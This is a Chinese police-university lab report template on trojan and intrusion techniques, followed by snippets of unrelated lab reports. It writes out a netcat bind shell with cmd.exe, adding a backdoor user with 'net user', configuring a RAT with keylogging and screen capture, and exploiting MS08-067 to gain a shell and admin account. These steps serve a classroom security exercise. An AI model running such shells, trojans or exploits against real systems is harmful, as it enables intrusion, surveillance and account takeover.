學 號：20141450041
中國人民公安大學
chinese people』public security university
網路對抗技術
實驗報告
實驗四惡意**技術
學生姓名
張珂 年級
2014級
區隊五區隊
指導教師
高見
資訊科技與網路安全學院
2016年11月7日
實驗任務總綱
2016—2017學年第一學期
一、實驗目的
1．通過對木馬的練習，使讀者理解和掌握木馬傳播和執行的機制；通過手動刪除木馬，掌握檢查木馬和刪除木馬的技巧，學會防禦木馬的相關知識，加深對木馬的安全防範意識。
2．了解並熟悉常用的網路攻擊工具，木馬的基本功能；
3．達到鞏固課程知識和實際應用的目的。
二、實驗要求
1．認真閱讀每個實驗內容，需要截圖的題目，需清晰截圖並對截圖進行標註和說明。
2．文件要求結構清晰，**表達準確，標註規範。推理內容客觀、合理、邏輯性強。
3．軟體工具可使用nc、msf等。
4．實驗結束後，保留電子文件。
三、實驗步驟
1．準備
提前做好實驗準備，實驗前應把詳細了解實驗目的、實驗要求和實驗內容，熟悉並準備好實驗用的軟體工具，按照實驗內容和要求提前做好實驗內容的準備。
2．實驗環境
描述實驗所使用的硬體和軟體環境（包括各種軟體工具）；
開機並啟動軟體office2003或2007、瀏覽器、加解密軟體。
3．實驗過程
1）啟動系統和啟動工具軟體環境。
2）用軟體工具實現實驗內容。
4．實驗報告
按照統一要求的實驗報告格式書寫實驗報告。把按照模板格式編寫的文件嵌入到實驗報告文件中，文件按照規定的書寫格式書寫，**要有表說圖形要有圖說。
任務一 利用nc控制電腦
netcat，具有網路軍刀之稱，它小巧精悍且功能強大，說它小巧精悍，是因為他的軟體大小現在已經壓縮到只有十幾kb，而且在功能上絲毫不減。
實驗過程需要兩個同學相互配合完成：
步驟一：
在受害者的機器 （同學a）
輸入下面的命令：
nc.exe -l -p port -e cmd.exe 進入監聽模式
步驟二：
在攻擊者的機器.（同學b）
輸入下面的命令：
nc ip port //連線victim_ip,然後得到乙個shell。 （需要截圖）
步驟三：
在shell中，利用net user 使用者名稱 密碼 /add ，新增乙個使用者，並在受害者的機器中使用 net user 命令進行驗證。（需要截圖）
可以繼續通過命令列做一些事情。
任務二 利用木馬控制電腦
實驗過程需要兩個同學配合：
步驟一：
攻擊者的機器. （同學a）
開啟v2014.exe程式或則star rat，這兩個木馬功能類似。
步驟二：
點選選單欄中的「服務生成」，在彈出的配置服務端中，配置回連ip位址（攻擊者ip）和埠號，並點選「生成」按鈕，生成木馬服務端。
步驟三：
將生成的木馬可執行程式拷貝到受害者的機器，並雙擊執行。
步驟四：
在控制端中檢視木馬上線情況，並對以下功能每個進行測試和截圖。
檔案管理，嘗試拷貝檔案
螢幕控制，嘗試獲取桌面
鍵盤記錄，嘗試獲取對方擊鍵記錄
會話管理，重啟對方機器，檢視是否能自啟動上線
會話管理，解除安裝對方的木馬。
任務三 通過漏洞獲取shell（合天平台中做） 所有過程截圖寫部落格
windows ms08067 漏洞利用
在平台中獲取shell之後，繼續利用攻擊機器使用
命令向被攻擊的機器中新增賬戶，並提公升為管理員
然後用rdesktop 10.1.1.130 登陸對方的遠端桌面
實驗報告四
一.實驗目的 1 掌握類的繼承 2 變數的繼承和覆蓋，方法的繼承，過載和覆蓋的實現 二.實驗的內容 1 根據下面的要求實現圓類circle。1.圓類circle的成員變數 radius表示圓的半徑。2.圓類circle的方法成員 circle 構造方法，將半徑置0 circle double r 構...
實驗報告四
中國人民公安大學 chinese people public security university 網路對抗技術 實驗報告 實驗四惡意 技術 學生姓名 湯堯 年級 2018級 區隊 6 指導教師 高見 資訊科技與網路安全學院 2016年11月7日 實驗任務總綱 2016 2017 學年 第 一 學...
十六周實驗報告（四）
任務的最低要求 去除注釋，如果注釋單獨佔一行，保留空行 任務的較高要求 當注釋單獨佔一行時，去除注釋後，空行將不再保留。注釋單獨佔一行，即本行 在分號之前，除了空格與tab 即 t 外，不出現其他任何符號。程式頭部注釋開始 程式的版權和版本宣告部分 檔名稱 fstream.cpp 作 者 苗向前 完...